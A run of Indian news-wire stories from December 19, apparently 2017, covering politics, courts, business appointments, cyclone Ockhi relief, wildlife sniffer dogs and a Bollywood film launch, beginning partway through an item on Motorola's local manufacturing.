"We welcome the government's decision as it will provide further impetus to the 'Make in India' initiative," Sudhin Mathur, Managing Director, Motorola Mobility India, told IANS.

Motorola, a Lenovo brand, makes and assembles smartphones at its manufacturing unit in Sriperumbudur near Chennai through global contract manufacturing partner Flextronics.

"As a brand, Motorola's journey of 'Make in India' began three years ago and we are well on our way to being fully locally manufactured," Mathur added.

With a combined market share at 9 per cent, Lenovo-Motorola became the third top smartphone brand in India in the third quarter this year, according to IDC.

With the competition shifting to the retail market, Motorola has realigned its focus on opening "Moto Hubs" in the country.

Motorola Mobility is planning to open "Moto Hubs" in 250 Poorvika Stores across 43 cities in Tamil Nadu, Pondicherry and Karnataka.

The company currently has six "Moto Hubs" (without the partnership) in Delhi-NCR and Mumbai and opened three such stores in Kolkata. Motorola has also announced the first-ever experiential store in south India.

"This move [on import duty] by the government will lead to more job creation and further enhance the manufacturing sector," Mathur told IANS.
Agartala, Dec 19 : The Tripura government on Tuesday decided to pay the same salaries and allowances to the 10,323 government teachers who are set to lose their jobs on December 31 but whose services have been extended by six months by the Supreme Court.

On March 29, the Supreme Court had upheld a Tripura High Court verdict to terminate the their services on grounds of wrongdoing.

"The Tripura government urged the Supreme Court to extend their services for another one year beyond December 31. But the apex court last week extended by six months the deadline to terminate them," Information and Finance Minister Bhanulal Saha told the media.

He said: "The Supreme Court on December 14 also ordered that the teachers' jobs after December 31 would be on ad-hoc basis. The Cabinet on Tuesday decided to give the same salaries, allowances and other benefits during the extended six-month period."

The minister said the state government would not promulgate any ordinance or enact any Validation Act as proposed by a former high court judge and the affected teachers to save the jobs of 10,323 teachers.

In an apparent move to circumvent the Supreme Court order, the Tripura government had in May announced recruitment of 12,000 non-teaching staff in the Education Department, ostensibly to "accommodate" these teachers.

"Those among the 10,323 teachers who do not qualify in the teachers' eligibility test (TET) can apply for the non-teaching staff, whose recruitment will start after the Supreme Court withdraws its ban on the recruitment to 12,000 non-teaching staff posts," Saha added.

The state faces dearth of suitable candidates to fill around 16,000 teachers' posts.

According to the minister, the Supreme Court, following a contempt petition, banned on October 4 the recruitment of 12,000 non-teaching staff until the next hearing on January 16.

A section of the teachers has also launched intermittent agitations, including road and railway blockades, from December 7 to press for their demand.

Ahead of the February 2018 assembly elections, the proposed termination of these teachers and recruitment of 12,000 non-teaching staff is set to become a major political issue.
Mumbai, Dec 19 : Actress Rani Mukerji, who attended the trailer launch of her upcoming film "Hichki" on Tuesday, says that "speech impairment" is not a subject but a reality that most people live with in real life.

When asked if talking about the speech impairment issue with the movie will help bring awareness, she said: "First of all, I would like to say this isn't a subject but a part of many lives."

"The people who suffer from the syndrome are challenged in every part of their lives. During research for the role, I met many kids who suffered from it and their parents, they haven't been able to come out properly in India.

"If you look at America, where there are stand up comedians, who step forward and took their 'turrets' in their act, in their comic format. So now when we start talking about it in India, I am sure lot more people will come forward and talk about their experience," added Rani.

Rani Mukerji also informed that her performance in the movie also comes from a very personal space as she used to stammer in her childhood.

"I used to stammer when I was a kid and my mom was also facing the same thing. My elder brother still does. I have overcome the issue a lot because as an actress I have to say many dialogues, express many emotions and stammering usually takes place and is highly noticeable when you are emotionally affected," she said.

"I had to control it a lot and work a lot on it but the good thing is, if you can overcome it you can make your weakness your strength," added Rani.

"Hichki" traces the journey of a teacher who suffers from Turrets syndrome. Students make fun of the side-effects of her disease and schools do not agree to hire her.

Finally, she gets admitted to one of the schools but has to deal with a set of municipal students who no one wants to teach.

When asked if there were any other films offered to her after "Mardaani", she said: "I don't remember as such but after pregnancy when I decided and said that I want to do a film, I was offered 'Hichki'."

"Hichki" is directed by Siddharth P Malhotra and produced by Maneesh Sharma under the banner of Yash Raj Films.

The film celebrates self-belief, the resilience of human spirit and hope. The film is about turning disadvantages into opportunities and staring down at challenges and ultimately winning over them.

It is slated for a February 23, 2018 release.
New Delhi, Dec 19 : The Narendra Modi government on Tuesday defended its move to set up 12 special fast-track courts to try 1,581 criminal cases against members of Parliament and state Assemblies, asking the members to rise above and set an example.

Responding to the concerns raised by Samajwadi Party leader Naresh Agarwal, Congress's Anand Sharma and some others in Rajya Sabha, Leader of the House Arun Jaitley said the law makers should take the lead in setting an example.

"We are lawmakers. Can we say that we have a vested interest in ensuring that our cases at least are delayed or at least be in our interest and we above suspicion," he said.

He said if there are allegations, they must be tried expeditiously.

"How can elected members say we have a vested interest in ensuring our trials gets delayed," he said.

Jaitley said that it was true that hearing of cases against legislators should be done on priority basis, but at the same time, it should be applicable to the people those against whom the cases are pending for long period.

Earlier, raising the matter during Zero Hour, Agarwal by making a point of order, asked the members whether it was right on the front of government to submit an affidavit for setting up special courts for MPs and MLAs.

"There are no special courts for even terrorists and criminals," he said adding that setting up of special courts are against Article 14 which provides the citizens the right to equality.

Sharma said special courts should be set up for expeditious trail of the general cases and government should allocate adequate fund for it.

"It is not a question that any leader wishes to delay the trial of prosecution of any body who is accused of any crime. There are large numbers of citizens who are in prisons and they won't get justice from a fair expeditious trial. At the same time if a perception is created that the special fast-track courts are only for MPs and MLAs, in public perception, it is profiling and excessive vilification of elected representatives," he contended.

He said in this country there are people accused of murders, rapes and other heinous crimes but no such initiative is taken by the government.

"Either we respect Article 14 that is equality for all and the government should ensure that the Law Minister or the Cabinet may take a call to allocate adequate funds to set up enough numbers of courts so that people do not remain in prison for long period and trial is done," he said.

Leader of Opposition Ghulam Nabi Azad questioned why lawmakers were being singled out and urged the government to come up with a scheme for fastracking court cases of common citizens also.

"Law should be for everybody, legislators alone should not be singled out," he said.

He also accused Jaitley of twisting the issue for political benefits. "Everything should not be given a political twist," he said.

TDP member C.M. Ramesh and Janata Dal-United leader Harivansh however supported the fast-track courts saying lawmakers should set an example.

Rajya Sabha Chairman M. Venkaiah Naidu said that he will give his ruling on the point of order raised by Agarwal and added that the house can also discuss the issue.
New Delhi, Dec 19 : Trained to take on cases of wildlife crime, 13 new sniffer dogs joined their new posts in different national parks and sanctuaries across eight states, officials said on Tuesday.

Credited to have facilitated over 200 captures since 2008 of illegal wildlife products like animal hides and parts and arrest of the smugglers, the new addition takes India's net strength of sniffer dogs also called super sniffers to 56.

The training was organized by TRAFFIC with support from WWF-India at the National Training Centre for Dogs (NTCD), at the BSF Academy at Gwalior's Tekanpur.

The nine female German Shepherds and four male Belgian Malinios dogs between the age group of 6-9 months, along with their handlers, began their nine month long training in April, 2017.

"They sniffers are specially trained to sniff out tiger and leopard skins, bones and other body parts, bear bile and red sanders. ... interestingly the earlier deployment has surprised the forest officials as these dogs have evolve new skills in the field," Dilpreet B. Chhabra, Senior Manager- Communications, TRAFFIC told IANS.

However, for the first time, the new batch of sniffers which will be deployed in Sikkim, were especially trained for tracking Yarsa Gumba (Cordyceps sinensis), a heavily traded wildlife contraband in the region.

Yarsa Gumba, commonly known as Keera Ghaas (insect grass) is a parasitic fungus found in the higher reaches of Arunachal Pradesh and Uttarakhand Himalayas. It is collected in large numbers and smuggled through Nepal to markets in China for use in traditional medicines.

Deployed on the demand by the parks and sanctuary administration, the sniffer dogs will be deployed in the forests of Andaman and Nicobar Islands, Uttar Pradesh, Sikkim and Odisha for the first time.

The sniffers batch passed out during a ceremony organized on December 15, at the NTCD, officials said.

"Two handlers from the particular forest area are deployed and trained parallel to the sniffers," Chhabra said.

Under the deployment, two sniffers will take post at Corbett Tiger Reserve in Uttarakhand and two Forest Department check-posts in Sikkim. One each will be deployed at Kaziranga National Park in Assam, Katarniyaghat Wildlife Sanctuary and Dudhwa Tiger Reserve in Uttar Pradesh; Satkosia Wildlife Division in Odisha; Mannar Wildlife Division in Kerala; Sundarban Tiger Reserve, Mahananda Wildlife Sanctuary and Buxa Tiger Reserve in West Bengal; and Port Blair in Andaman Nicobar Islands.

"Super sniffers have been successful in nearly 200 wildlife cases of seizures, arrests of suspects and recovery of body parts including skins and bones of tigers, leopards, bear bile, ivory, Indian Star Tortoise, deer antlers, skins and meat, live birds, porcupine, pangolin scales, snares , traps and weapons," an official said.

So far, 17 states across India have deployed super sniffers.
Kanyakumari/Thiruvananthapuram, Dec 19 : Tamil Nadu and Kerala on Tuesday sought over Rs 17,500 crore for relief and rehabilitation work as Prime Minister Narendra Modi made a hurricane day-long visit to their coastal areas and Lakshadweep promising all help when he met the kin of fishermen who went missing after cyclone Ockhi hit the southern coast.

"This is not the time for lecture and I assure you that we will do everything to help you. That's why I have come. We are all with you and will do everything. With Christmas round the corner, we wish all the missing to return back," he said in brief remarks while meeting the families of the fishermen in Poonthura near Thiruvananthapuram.

Modi arrived at the Poonthura Community hall to interact directly with the families of the fisherfolk whose near and dear ones either died or remain missing, giving them a patient hearing as Union Tourism and IT Minister K.J. Alphons translated what they were saying.

It was after that the Prime Minister went on to the stage and spoke briefly.

"The cyclone hit Lakshadweep, Kerala and Tamil Nadu and many of the fishermen are yet to return. We have taken quick action by first sending Defence Minister (Nirmala Sitharaman). The whole country is with you in your grief," he said to claps from the grief-stricken families.

Kerala Chief Secretary K.M. Abraham made a power presentation highlighting the various needs of the fishermen. The Kerala government sought a Rs 7,340 crore package that included compensation for the 71 dead, help to the permanently disabled, construction of homes, educational assistance and writing off of loans and other programmes meant for the overall upliftment of the fisherfolk.

More than 250 fishermen from Kerala are still missing since the November 30 cyclone.

Governor P. Sathasivam, Chief Minister Pinarayi Vijayan, his cabinet colleagues and officials were also present at the meeting with Modi.

Later, Modi briefly met state BJP leaders, who sought speedy clearance of the package.

Congress leader Ramesh Chennithala expressed dissatisfaction over the fact that despite repeated pleas, their delegation was not given permission to meet the Prime Minister.

"It is strange that even while we are the opposition here, we were ignored and the BJP was given preference, which does not augur well," he told reporters.

Modi flew into Kerala from Lakshwadeep where the cyclone had damaged property and was received by Vijayan. Modi then went by helicopter to Kanyakumari in neighbouring Tamil Nadu before returning to Kerala in the evening and going to Poonthura.

In Tamil Nadu, Modi visited Kanyakumari and met representatives of fishermen and farmers affected by Ockhi.

The Tamil Nadu government has asked the Centre for Rs 9,302 crore towards relief and rehabilitation and urged the Prime Minister to declare the cyclone damage as a `National Disaster'.

Large tracts of rubber and banana plantations were affected due to the cyclone.

More than 70 fishermen from the southern districts of Thiruvananthapuram and Kollam in Kerala died in the cyclone while more than 250 remain missing. According to officials, the cyclone killed 18 people in Tamil Nadu while several others are still missing.
Mumbai, Dec 19 : Domestic retail major Shoppers Stop on Tuesday announced the appointment of Rajiv Suri as the Chief Executive Officer (CEO) of the company with effect from January 9, 2018.

In a regulatory filing to the BSE, the company also announced the resignation of Sanjay Chakravarti as the Chief Financial Officer (CFO) with effect from December 22 this year.

"The Board of Diectors at its meeting... has approved appointment of Rajiv Suri as CEO of the company with effect from January 9, 2018," said the BSE filing.

"... resignation of Sanjay Chakravarti as CFO with effect from the close of business hours on December 22, 2017," it added.

Prior to the new appointment, Suri was the CEO for the Majid Al Futtaim (MAF) Fashion business which is spread across close to 140 stores in the Middle East.
Paris, Dec 19 : French President Emmanuel Macron on Tuesday defended his country's legacy in the Syrian civil war and dismissed as "unacceptable" scathing remarks made by his Syrian counterpart Bashar al-Assad, who called France a "supporter of terrorism" in the conflict-ridden Arab nation.

Macron said that the Islamic State (IS) terror organisation could be wiped out of Syria by the end of February, adding that he would push for constructive peace talks that included Assad. But, the Syrian leader offered a scathing rebuke that France had spearheaded its support for terrorism in Syria since the early days of the war, Efe news reported.

At an ElysAe Palace press conference with NATO Secretary-General Jens Stoltenberg, Macron said France's contingency in Syria has been "coherent from the beginning".

Macron added that it had always targeted the IS and that only the US-led International Coalition, of which France's Air Force is a participant member, was capable of bringing an end to the terror organisation's presence in Syria.

Assad's comments sparked widespread criticism among senior French officials.

France's Foreign Minister Jean-Yves Le Drian, on a visit to Washington, said he would not take lessons from someone who massacred his own people.
Mathura, Dec 19 : Additional Sessions Judge Amal Pal Singh on Tuesday granted bail to the seven Christians held in judicial custody on charges of attempting religious conversion.

Local Christians greeted the news with joy ahead of Christmas.

Praising the bail order, pastor Abraham wished everyone a "blessed Christians" and asked people to make room in their hearts for others.

The seven were taken into custody from village Eroli in Mathura district while they were praying for the good health of an ailing family member.

Some family members accused Hindutva activists of barging into the house and assaulting men and women gathered for prayers. The police remanded the seven to judicial custody, triggering widespread criticism.

On Saturday, when the bail application came up for hearing, some lawyers protested and raised objections, forcing the court to adjourn the hearing to Tuesday.

On Tuesday, some lawyers again tried to stall the proceedings, according to the lawyers defending the accused.

Pramod Singh, President of the Christian Legal Association, said he was surprised at the way some members of the local bar tried to oppose the bail without any locus.

He said the rule of law finally prevailed and the judge rejected the false accusations by a section seeking to restrict the fundamental rights of individuals to express their beliefs and free will.

Michael Williams, President of the United Christian Forum, said police had been urged to provide security to all the seven.
Imphal, Dec 19 : The Manipur High Court on Tuesday ordered the central and state governments to pay Rs 7 lakh as compensation to the mother of a young man killed in a fake "encounter" by security forces.

The money should be paid within five months, Acting Chief Justice N. Kotesor and Justice Kh. Nobin said.

The authorities were ordered to pay the money to Thangjam Apabi, the mother of Thangjam Thoithoi of Imphal West district.

M. Rakesh, Director of Human Rights Law Network and lawyer, told IANS that on January 14, 2012 Thoithoi left his home on a two-wheeler but failed to return. His body was found in a mortuary.

It later came to be known that security forces, including soldiers, intercepted two persons travelling on a two-wheeler at Chandranadi road near Imphal and shot dead one of them, allegedly in a gunfight.

The security forces claimed they found a Chinese-made grenade and a 9 mm pistol from the dead person.

But the victim's mother was not satisfied with the official version and filed a petition in the High Court on February 9, 2015.

A judicial inquiry established that the victim was killed in cold blood, leading to Tuesday's order.
Jaipur, Dec 19 : Even as the Rajasthan High Court on Tuesday directed the in-service doctors of the state to resume work by Wednesday or face suspension, a national body of resident doctors has extended full support to their protesting colleagues.

The Federation of Resident Doctors Association of India (FORDA India) has also written a letter to Prime Minister Narendra Modi, requesting immediate intervention in the matter.

Speaking to IANS, FORDA India General Secretary Dr. Manish Nigam said: "Let us all see how a government can force its doctors to work at knife point and on a tip of lathi. The autocratic attitude of the government is intolerable."

It was completely unjustified to ask doctors to work on a pay-scale of the Fifth Pay Commission under pathetic working conditions, he said.

"If the government can't think good for doctors, why should doctors come back to work? What can be harsher than the doctors being sent behind bars for peacefully raising their demands?"

Nigam said: "Let the government send all doctors behind bars. No doctors from other states will come to serve the patients. And yes, one fine day, there will be no doctors working in the state if the government continues with such an autocratic regime."

Even if the government chose to cancel doctors' licence, they would support the in-service doctors who were fighting a justified fight, he added.

On the other hand, the Rajasthan High Court came out strictly against the doctors on strike and directed them to resume work by Wednesday or else they would face suspension.

The high court also issued directions to the state government to ensure that those joining duty should not be arrested while those evading duties should be dealt with sternly.

The health services in Rajasthan have come to a grinding halt, as the doctors working with the state government went on a strike to press for their demands on Saturday.

The next court hearing is scheduled for January 3, 2018.

In its letter to the Prime Minister, the FORDA India has complained about the "step-motherly treatment" being meted out to the doctors.

"Dragging doctors out of their homes and arresting them is an act to curb the demands (voice) of the oppressed," it said and condemned the arrest of doctors under the veil of the Rajasthan Essential Services Maintenance Act (RESMA).

"We expect the government to act in a judicious manner and settle the demands at the earliest," the letter said.

Bearing the signature of FORDA India President Dr. Vivek Chouksey, the letter warned the government of stronger agitation if the arrest of doctors was not stopped.

Tuesday was the fourth day of the doctors' absence from their work stations.

Three people are said to have died in the state due to unavailability of timely medical aid. The plight of patients in villages is worse as there are only a few private doctors available there.

Even in the cities, the government has requested the BSF, army and the railway doctors to help in the time of "emergency".
Kathmandu, Dec 19 : Left alliance leaders of the Communist Party of Nepal-United Marxist Leninist (CPN-UML) and Communist Party of Nepal (Maoist Centre) on Tuesday demanded the immediate resignation of Prime Minister Sher Bahadur Deuba.

Speaking in the capital, Maoist Centre leader and former Deputy Prime Minister Top Bahadur Rayamajhi said that Deuba should resign on moral grounds respecting the people's mandate as the leftist alliance mustered around two-thirds majority in the parliamentary and provincial elections, the Kathmandu Post reported.

Saying that economic prosperity is the need of the hour, Rayamajhi demanded coordination, unity and cooperation among all the political parties.

He suggested that the parties should find a middle path to take the national assembly ordinance ahead rather than by majority system or single transferable voting system.

"The issue should be resolved by understanding rather than single transferable voting system or majority system," Rayamajhi said.

On the occasion, UML leader Mahesh Basnet said: "Prime Minister Deuba should not stay in power for long, he should resign at the earliest."

"People want political stability and development in the country," Basnet said, adding, "We felt that conspiracies are being hatched to stop the left alliance from carrying out development works."

He also suggested to the Nepali Congress to discuss its weaknesses rather than wasting time in pointing fingers at others.

Former Minister for Industry Basnet claimed that the new government would be formed under the leadership of CPN-UML Chairman K.P. Sharma Oli by January 21.
New Delhi, Dec 19 : India and the US on Tuesday discussed procedures for pursuing designations against terrorist groups and individuals through domestic and international mechanisms.

The discussion came up at the inaugural India-US Designations Dialogue that was held here on Monday and Tuesday.

An identical statement issued by both the governments said the dialogue was to discuss increasing bilateral cooperation on terrorism-related designations.

"The establishment of this mechanism reflects shared Indian and US commitments to strengthen cooperation against terrorist threats," it said.

"The Indian and US delegations exchanged information on procedures for pursuing designations against terrorist groups and individuals, through domestic and international mechanisms. They also discussed best practices for effective implementation of the designations."

It said Washington will host the second India-US Designations Dialogue in next year.

The statement assumes significance in the context of the US designating Lashkar-e-Taiba chief Hafiz Saeed and Zaki-ur-Rehman Lakhvi -- the masterminds of the 26/11 Mumbai terror attack.

The statement gave rise to speculation that the two countries could be looking at designating and issuing sanctions against more people involved in terror-related activities in the region.
New Delhi, Dec 19 : The Delhi government on Tuesday approved the proposal for a study by the state Transport Department in order to strengthen public transport system.

The proposal of this study to be supervised by Delhi Integrated Multi Modal Transit System Limited (DIMTS) was approved in a cabinet meeting chaired by Chief Minister Arvind Kejriwal on Tuesday.

The study of "Route Rationalization and Last Mile Connectivity" will cover all bus routes -- DTC, Cluster, Gramin Sewa etc, and DMRC feeder bus system and chartered buses, an official statement said.

"It will seek to develop criteria for delineation of the operation area of electric rickshaws. The issue of buses, Gramin Sewa and RTVs not working optimally will be solved after the study is done.

"It will also solve the problems of low frequency, inadequate coverage, and crowding resulting in customer satisfaction and better efficiency," it said.

The updated travel database is expected to help planners understand the user needs and launch new schemes.

DIMTS will also include detailed household travel survey -- 1 per cent of total households in Delhi as per existing survey norms -- apart from planning all modes.

DIMTS also plans to conduct work place survey at Noida, Ghaziabad, Faridabad, Gurgaon and Bahadurgarh to capture interaction of these cities with Delhi.

The study will be completed by DIMTS in a total time frame of six months.
New Delhi, Dec 19 : The Delhi government is likely to incentivise the use of electric vehicles.

According to Delhi Transport Minister Kailash Gahlot, an incentive-based policy is likely to be formulated that encourages commuters to shift from fossil fuels powered vehicles to electric.

Gahlot requested the central government for enhancement of subsidy so that the state government can procure more electric buses.

"Cost of electric buses at Rs 2.75 crore is way too high and unsustainable. I would request the central government for more subsidy along with financial and technical help," Gahlot said while addressing Assocham's conference on 'Electric vehicles: Future roadmap for India' on Tuesday.

"I think we should look towards subsidy on the power to be consumed by electric vehicles," Gahlot was quoted as saying in a statement.

The minister added that it is imperative to bring down the cost of electric vehicles to make them more affordable and viable for public transport.

Besides subsidy, the minister sought clarity from the union government on its FAME (Faster Adoption and Manufacturing of Hybrid and Electric Vehicles) scheme.

"Even under the FAME scheme, there are lot of gaps and there is lot of ambiguity, like for instance there is no clarity amid manufacturers when asked whether or not they would qualify in the kilometre scheme," said the Delhi Transport Minister.

Gahlot added that the state government has already given a commitment to induct 100 electric buses, and is willing to increase the fleet to 1,000 "as soon as possible".
Chennai, Dec 19 : Citing the frequent shutdowns of the two nuclear power units at Tamil Nadu's Kudankulam, DMK leader M.K. Stalin has urged the Central government to examine their safety and also shift the upcoming units from the state.

In a letter to Minister of State in the Prime Minister's Office Jitendra Singh, the text of which was released to the media here on Tuesday, Stalin urged him to examine the safety aspects of the two nuclear units in Kudankulam in strict compliance with the Supreme Court's 15 directions in 2013, noting the apex court had directed maintenance of safety not only at the plant's design level but also during its operation.

Citing media reports about the frequent shut down of Unit II due to "water and steam leakage" and "problems in electrical generator", he said such reports create panic in the minds of people living round the plant.

"When the existing Units I and II are facing such dangerous safety concerns and people are still uncertain over the protection available to their life, it is surprising that the Government of India, unmindful of resolving people's concern, had signed another set of two Nuclear Power Plants to be built at Kudankulam...," he said.

He said that due to such opposition in Gujarat, the Mithivirdi Nuclear Power plant, which has six nuclear reactors of 6,000 MW, has now been shifted to Andhra Pradesh and it was "wholly incomprehensible" that while the Central government is "responding and respecting the voices of the people in Gujarat, but neglecting and ignoring the genuine fears of the people of Tamil Nadu".

He also said that one of the directions of the apex court was to withdraw all the crimimal cases filed against the agitators so that peace and normalcy is restored in Kudankulam.

"This direction has not yet been complied with in true letter and spirit though it is four and half years from the date of the judgment," Stalin said.

He said the people living around the Kudankulam plant feel that the state and Central governments are neither serious in implementing the 15 apex court directions nor interested in withdrawing the cases and requested the Union Minister to "address the safety concerns and welfare of the people of Tamil Nadu - without allowing any further room for panic among the people in the state".

Kudankulam in Tirunelveli district, around 650 km from here, has two 1,000 MW nuclear power plants, built with Russian equipment. The plants are owned by Nuclear Power Corporation of India Ltd.

Two more units -- third and fourth -- of similar size are being built.
New Delhi, Dec 19 : As many as 47 (26 per cent) of the newly-elected MLAs in Gujarat and 22 (32 per cent) in Himachal Pradesh have criminal cases against them, election watchdog Association for Democratic Reforms (ADR) said on Tuesday.

The ADR, which analysed the self-sworn affidavits filed of the MLAs from both states where results for assembly elections were declared on Monday, also found that 141 of total 182 Gujarat MLAs and 52 of total 68 Himachal Pradesh MLAs were 'crorepatis' (millionaires).

Meanwhile, Gujarat had 13 women MLAs or (7 per cent) while the number is four (6 per cent) in Himachal Pradesh.

It its report, the ADR said the total number of MLAs with cases related to serious crimes is 33 and two of them have declared cases related to murder while one is charged with a case related to rape.

In Himachal Pradesh, the number of MLAs with serious crime has been found to be eight.

In Gujarat, 18 out of 99 MLAs from the Bharatiya Janata Party, 25 out of 77 MLAs from Congress, one out of two MLAs from the Bhartiya Tribal Party, one MLA from Nationalist Congress Party and two out of three independent MLAs have declared criminal cases against themselves in their affidavits.

In Himachal Pradesh, two out of 21 MLAs from Congress, 18 out of 44 MLAs from the BJP, one MLA from the CPI-M and one of two independent MLAs have been charges with criminal cases, the ADR said.

In Gujarat, 84 of 99 BJP MLAs and 54 of 77 Congress MLAs have declared assets valued more than Rs 1 crore, while in Himachal Pradesh, all 21 Congress and 28 of 44 BJP MLAs are crorepatis.

The average of assets per MLA in Gujarat is Rs 8.46 crore while it is Rs 8.88 crore in Himachal Pradesh.

In Gujarat, 96 (53 per cent) MLAs have declared their education qualification to be between class 5 and class 12 pass while 69 (38 per cent) MLAs have declared that there are a graduate or above.

There are seven MLAs who have declared themselves as just literates while one MLA is illiterate, the ADR said.

In Himachal Pradesh, 21 (31 per cent) MLAs have studied between class 8 and 12 while 47 (69 per cent) MLAs have declared they had done graduation or more.
New Delhi, Dec 19 : The suspense over choosing the Chief Minister in Himachal Pradesh mounted on Tuesday with some names -- including five-time MLA Jairam Thakur and union minister J.P. Nadda -- doing the rounds and defeated chief ministerial face Prem Kumar Dhumal also not being completely ruled out.

The name of another senior leader, Rajeev Bindal, MLA from Nahan, is also in the reckoning for the top post, as he apparently has the backing of a section in the Rashtriya Swayamsevak Sangh (RSS).

Jairam Thakur won from Seraj constituency by defeating Chet Ram of the Congress.

"So far, the party has not decided who will be Chief Minister in the state. Union ministers Nirmala Sitharaman and Narendra Singh Tomar will visit Himachal Pradesh to talk to party leaders in the state before deciding on the name," said a Bharatiya Janata Party (BJP) source.

Sources in the BJP, however, also did not rule out the possibility of Prem Kumar Dhumal being chosen for the CM's post. Although earlier Nadda's name was doing the rounds, Dhumal's name was announced as the party's chief ministerial candidate midway through the election campaign in the state.

Dhumal, who had won the last election from Hamirpur constituency, had reservations over contesting from Sujanpur. But, the central leadership asked him to contest from there, and he faced defeat.

Dhumal faced defeat against close rival Rajinder Rana of the Congress from Sujanpur. Rana was once the "election manager" of Dhumal and knows his family well. Rana defeated the two-time Chief Minister by a slender margin of 1,919 votes.

Meanwhile, BJP MLA Virender Kanwar, who won from Kutlehar seat, has offerered to resign from his seat for Dhumal.

In Gujarat, although the BJP had announced Vijay Rupani's name as the chief ministerial candidate before the election, by appointing a team of observors under Union Finance Minister Arun Jaitley and party leader Saroj Pandey, the central leadership has kept the options open.

There were speculations that union minister Smriti Irani could be sent to Gujarat as Chief Minister as she represented the Rajya Sabha from the state.

However, certain quarters denied such possibility because of the responsibility given to Irani by the party leadership to counter Congress President Rahul Gandhi in Amethi in the next general elections.
New Delhi, Dec 19 : Even as China continued to block the listing of Pakistan-based Jaish-e-Mohammad chief Masood Azhar in the UN-designated list of international terrorists, India and the US discussed procedures for pursuing designations against terrorist groups and individuals through domestic and international mechanisms.

The discussion came up at the inaugural India-US Designations Dialogue that was held here on Monday and Tuesday.

An identical statement issued by both the governments said the dialogue was to discuss increasing bilateral cooperation on terrorism-related designations.

"The establishment of this mechanism reflects shared Indian and US commitments to strengthen cooperation against terrorist threats," it said.

"The Indian and US delegations exchanged information on procedures for pursuing designations against terrorist groups and individuals, through domestic and international mechanisms. They also discussed best practices for effective implementation of the designations."

The statement said Washington would host the second India-US Designations Dialogue next year.

The meeting assumes significance after China said last month that due to the lack of consensus at the UN Security Council committee, the application seeking a ban on Azhar has been rejected.

Beijing has for the second time vetoed the proposal which was first moved by India at the Al Qaeda Sanctions Committee of the UN Security Council in March last year.

It did the same to a US proposal backed by France and Britain, first blocking it in January and then put a technical hold for three months in August. A new resolution will have to be moved now.

The statement is also important in the context of the US designating Lashkar-e-Taiba (LeT) chief Hafiz Saeed and Zaki-ur-Rehman Lakhvi as the masterminds of the 26/11 Mumbai terror attack.

Saeed, who carries a $10 million US bounty for his role in terrorist activities, was let go last month by Pakistani authorities in Lahore after a court refused to extend his house arrest citing lack of evidence. He had been under house arrest since January 30.

Over 160 people were killed and over 300 injured when the LeT militants launched a series of attacks on India's commercial capital in November 2008.

Tuesday's statement gave rise to speculation that the two countries could be looking at designating and issuing sanctions against more people involved in terror-related activities in the region.
Bengaluru, Dec 19 : Infosys BPO (Business Process Outsourcing), the back office services arm of the software major, has been renamed as Infosys BPM (Business Process Management), the company said on Tuesday.

"The company has received the approval of the Ministry of Corporate Affairs to change the name of Infosys BPO to Infosys BPM. The new name is effective immediately and will be implemented across the company's services," a company statement said.

The new name reflects a shift in the nature of services that the software firm's subsidiary offers, said Infosys.

"The change in the name signifies our vision of reimagining business processes across experience, effectiveness and efficiency," said Infosys BPM CEO and Managing Director Anantha Radhakrishnan.

The scope and complexity of business processing work has changed "significantly" over the past few years and has gone much beyond outsourcing and offshoring, the company said.

Infosys BPM would make use of employees with business domain expertise along with technologies such as robotics, artificial intelligence, machine learning, predictive analytics, rich content visualisation and mobile technologies to address business problems.

Set up in 2002, Infosys BPM has over 34,000 people employed across 32 locations across the world offering back office services to various firms.
Kolkata, Dec 19 : West Bengal Chief Minister Mamata Banerjee on Tuesday congratulated Patidar leader Hardik Patel for the "great job" that he had done ahead of the Gujarat Assembly polls.

"He has done a great job at such a young age. He has worked really hard. I have telephoned him and conveyed my congratulations," Banerjee, also the Trinamool Congress chief, told reporters at the state secretariat Nabanna, a day after the declaration of the poll results, which saw BJP retaining the state narrowly.

She said she would also call up two other young politicians - Other Backward Classes leader Alpesh Thakor and Dalit Leader Jignech Mevani, who won their seats in the Gujarat polls.

"I want to congratulate these two young leaders for their positive show," said Banerjee.

Thakor won from the Radhanpur constituency by over 21,000 against BJP strongman Lavingji Thakor on a Congress ticket. Mevani fought as a Congress-backed independent, and defeated his BJP rival Vijay Chakravarti by by 19,696 votes in Vadgam.

Patel, who is yet to reach the age of 25, which would make him eligible to contest polls, heads the Patidar Anamat Andolan Samiti (PAAS) which has been agitating for reservation for the Patel community in Gujarat.

Patel, Thakor and Mevani had thrown a stiff challenge to the BJP by leading agitations over the past few years.

They supported the Congress in the latest elections, reducing the BJP seats to below 100 in the 182-member assembly.
New Delhi, Dec 19 : Delhi Lt Governor Anil Baijal on Tuesday cancelled the examination held by the Delhi Subordinate Services Selection Board (DSSSB) for the post of primary teachers in municipal corporation schools, following a Delhi Police report.

The examination was held on October 29 and an FIR was registered on the same day by the Delhi Police on allegations of cheating. The matter was then handed over to the Crime Branch.

Twenty accused persons have been arrested and Baijal cancelled the examination based on the inquiry report submitted by police.

The Lt. Governor also directed DSSSB Chairperson to conduct the examination again so that the vacancies of teachers are filled as soon as possible, advising "that while doing so, DSSSB may review their systems and methods of conducting the examination thoroughly and also look into the modus operandi employed by the accused so that in future all such loopholes can be plugged", an official statement said.

Baijal has directed the Education Secretary to take strict disciplinary action against all staff who were involved in the case and submit an action taken report within ten days.

The Lt. Governor also directed Commissioner of Police Amulya Patnaik to investigate the matter from all angles in a time-bound manner.
Bengaluru, Dec 19 : Assam Chief Minister Sarbananda Sonowal on Tuesday urged entrepreneurs and industrialists in Karnataka to invest in his northeastern state, as it is the springboard for India's Act East Policy.

"Though our state is in the northeast, it is strategically located with access to markets to seven states in the region and eight countries in Southeast Asia," he said at a road show here on the first Global Investors Summit "Advantage Assam" being held in Guwahati on February 3-4, 2018.

Terming the northeast as the new engine of growth, Sonowal said his government had created a business-friendly environment for investments in diverse sectors of the economy.

"We have new policies for start-ups and investments in diverse sectors like plastics, petrochemicals, agro-food processing, pharmaceuticals and medical equipment across the state, which is blessed with natural and human resources to tap," he said.

Noting that his government had opened skill development institutes to train the youth and incubation centres for start-ups, the Chief Minister urged the IT firms in Bengaluru to set up their development facilities in Guwahati and other cities across the state.

"There is a huge potential to offer software and IT-enabled (back office) services from our state and create jobs for thousands of young graduates passing out of colleges and universities in the region," he said.

Sonowal claimed that his government had attracted Rs 6,500 crore in investments into the state in one year after the BJP came to power in May 2016.

The state government is also improving air connectivity to make Guwahati a regional hub for travel to and from southeast Asian nations.

